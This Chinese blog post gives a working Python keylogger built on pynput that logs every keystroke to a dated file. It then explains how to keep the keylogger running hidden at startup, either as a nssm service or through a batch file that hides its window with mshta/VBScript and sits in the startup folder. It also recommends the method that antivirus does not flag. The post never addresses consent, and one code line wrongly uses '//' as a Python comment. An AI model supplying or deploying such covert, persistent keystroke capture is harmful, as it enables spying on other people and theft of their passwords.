前言
最近遇到一个需求,需要监测键盘输入,将其输出到指定的文件中保存,代码本身不复杂,但是配置脚本在 Windows 环境中自启的时候遇到了一些麻烦。
脚本代码
from pynput.keyboard import Listener, Key
import logging
from datetime import date
directory = f"D:/key" // 日志文件保存路径
today = str(date.today())
logging.basicConfig(filename=f"{directory}/{today} log.txt", level=logging.DEBUG, format="[%(asctime)s]: %(message)s")
def on_press(key):
logging.info(key)
def on_release(key):
pass
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
解决思路
pyinstaller+nssm
使用 pyinstaller 将 Python 程序打包为 exe 文件,并且使用 nssm 配置为系统服务,nssm 是一个服务封装程序,它可以将普通 exe 程序封装成服务,使之像 windows 服务一样运行。同类型的工具还有微软自己的 srvany,不过 nssm 更加简单易用。
相关配置可以参考:Windows 使用 NSSM 将任意 exe 封装为服务 - 终点站
此思路在我自己的电脑上测试正常,但是在其他人电脑上 exe 程序会被 windows 防火墙误杀,查了很多资料才得知是 python 代码中使用了 OS 库,涉及了敏感操作会被杀毒软件误杀,所以要么不用 python 自带的 os 库,要么使用别的方法进行配置。
pythonw+设置开机自启 bat
使用 python 命令运行 py 文件,会保留 cmd 窗口,当窗口误关闭时,程序就会中断,这不是我们想要的。查询相关资料得知有 pythonw 这个东西,pythonw 是无窗口的 Python 可执行程序,意思是在运行程序的时候,没有窗口,代码在后台执行。
既然如此,就可以写这样的 bat 脚本
@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~0 h",0)(window.close)&&exit
:begin
start /b cmd /k "pythonw D:\keylogger.py"
最后一行是使用 pythonw 执行你的 python 脚本,将这个 bat 脚本设置为开机自启即可。具体设置步骤如下:
- win+r 输入 shell:startup
- 将写好的 bat 脚本拖入,便会开机自启动
总结
总的来说,要设置 Python 脚本开机后台自启,持续运行,
- 将 python 程序打包成可执行文件(exe)文件,再使用 nssm 配置为系统服务,如果使用到了 os 库,则会有被杀软误杀的可能,建议使用下面的方法
- pythonw+开机自启 bat,这种配置起来比较麻烦,需要在使用的机上安装 Python 环境,才可以正常使用,不过不会报毒。
2 条评论
566
哈哈